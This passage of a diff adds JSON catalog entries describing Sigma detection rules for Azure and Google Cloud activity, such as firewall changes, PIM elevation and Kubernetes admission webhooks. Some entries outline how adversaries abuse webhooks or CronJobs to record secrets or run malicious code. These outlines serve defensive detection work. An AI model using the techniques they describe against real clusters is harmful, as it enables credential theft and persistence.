"logsource.product": "azure" + } + }, + { + "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", + "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", + "value": "Azure Firewall Rule Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_firewall_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", + "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", + "value": "Azure Point-to-site VPN Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a network security configuration is modified or deleted.", + "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", + "value": "Azure Network Security Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_security_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", + "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", + "value": "Azure Virtual Network Device Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_network_virtual_device_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a new cloudshell is created inside of Azure portal.", + "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", + "value": "Azure New CloudShell Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/09/21", + "filename": "azure_new_cloudshell_created.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "A new cloudshell may be created by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a owner is was removed from a application or service principal in Azure.", + "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", + "value": "Azure Owner Removed From Application or Service Principal", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_owner_removed_from_application_or_service_principal.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Owner being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", + "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", + "value": "PIM Approvals And Deny Elevation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_activation_approve_deny.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Actual admin using PIM." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when PIM alerts are set to disabled.", + "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", + "value": "PIM Alert Setting Changes To Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1484" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_alerts_disabled.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Administrator disabling PIM alerts as an active choice." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when changes are made to PIM roles", + "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", + "value": "Changes To PIM Settings", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/09", + "filename": "azure_pim_change_settings.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legit administrative PIM setting configuration changes" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user is added to a privileged role.", + "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", + "value": "User Added To Privilege Role", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/06", + "filename": "azure_priviledged_role_assignment_add.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legtimate administrator actions of adding members from a role" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", + "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", + "value": "Bulk Deletion Changes To Privileged Account Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/05", + "filename": "azure_priviledged_role_assignment_bulk_change.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Legtimate administrator actions of removing members from a role" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new admin is created.", + "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", + "value": "Privileged Account Creation", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/08/11", + "filename": "azure_privileged_account_creation.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", + "level": "medium", + "falsepositive": [ + "A legitimate new admin account being created" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", + "value": "Rare Subscription-level Operations In Azure", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" + ], + "tags": [ + "attack.t1003" + ], + "creation_date": "2020/05/07", + "filename": "azure_rare_operations.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service principal is created in Azure.", + "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", + "value": "Azure Service Principal Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/02", + "filename": "azure_service_principal_created.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service principal being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service principal was removed in Azure.", + "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", + "value": "Azure Service Principal Removed", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/09/03", + "filename": "azure_service_principal_removed.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service principal being removed may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", + "value": "Azure Subscription Permission Elevation Via ActivityLogs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", + "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", + "value": "Azure Subscription Permission Elevation Via AuditLogs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", + "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", + "value": "Azure Suppression Rule Created", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "azure_suppression_rule_created.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Suppression Rule being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", + "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", + "value": "Temporary Access Pass Added To An Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/10", + "filename": "azure_tap_added.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Administrator adding a legitmate temporary access pass" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when there is a interruption in the authentication process.", + "uuid": "8366030e-7216-476b-9927-271d79f13cf3", + "value": "Azure Unusual Authentication Interruption", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/11/26", + "filename": "azure_unusual_authentication_interruption.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", + "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", + "value": "Users Authenticating To Other Azure AD Tenants", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/06/30", + "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights\u2248 of unauthorizeed login to valid accounts.\n", + "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", + "value": "User Access Blocked by Azure Conditional Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2021/10/10", + "filename": "azure_user_login_blocked_by_conditional_access.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect when a user has reset their password in Azure AD", + "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", + "value": "Password Reset By User Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/08/03", + "filename": "azure_user_password_change.yml", + "author": "YochanaHenderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator or confirmed user action." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Virtual Network is modified or deleted in Azure.", + "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", + "value": "Azure Virtual Network Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_virtual_network_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a VPN connection is modified or deleted.", + "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", + "value": "Azure VPN Connection Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_vpn_connection_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when storage bucket is enumerated in Google Cloud.", + "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", + "value": "Google Cloud Storage Buckets Enumeration", + "meta": { + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2021/08/14", + "filename": "gcp_bucket_enumeration.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when storage bucket is modified or deleted in Google Cloud.", + "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", + "value": "Google Cloud Storage Buckets Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/14", + "filename": "gcp_bucket_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when sensitive information is re-identified in google Cloud.", + "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", + "value": "Google Cloud Re-identifies Sensitive Information", + "meta": { + "refs": [ + "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ], + "creation_date": "2021/08/15", + "filename": "gcp_dlp_re_identifies_sensitive_information.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", + "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", + "value": "Google Cloud DNS Zone Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/dns/docs/reference/v1/managedZones", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/15", + "filename": "gcp_dns_zone_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", + "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", + "value": "Google Cloud Firewall Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/08/13", + "filename": "gcp_firewall_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", + "Exceptions can be added to this rule to filter expected behavior." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", + "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", + "value": "Google Full Network Traffic Packet Capture", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074" + ], + "creation_date": "2021/08/13", + "filename": "gcp_full_network_traffic_packet_capture.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Full Network Packet Capture may be done by a system or network administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", + "value": "Google Cloud Kubernetes Admission Controller", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ], + "creation_date": "2021/11/25", + "filename": "gcp_kubernetes_admission_controller.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", + "value": "Google Cloud Kubernetes CronJob", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ], + "creation_date": "2021/11/22", + "filename": "gcp_kubernetes_cronjob.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", + "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", + "value": "Google Cloud Kubernetes RoleBinding", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1267", + "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/08/09", + "filename": "gcp_kubernetes_rolebinding.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when the Secrets are Modified or Deleted.", + "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", + "value": "Google Cloud Kubernetes Secrets Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/08/09", + "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a service account is disabled or deleted in Google Cloud.", + "uuid": 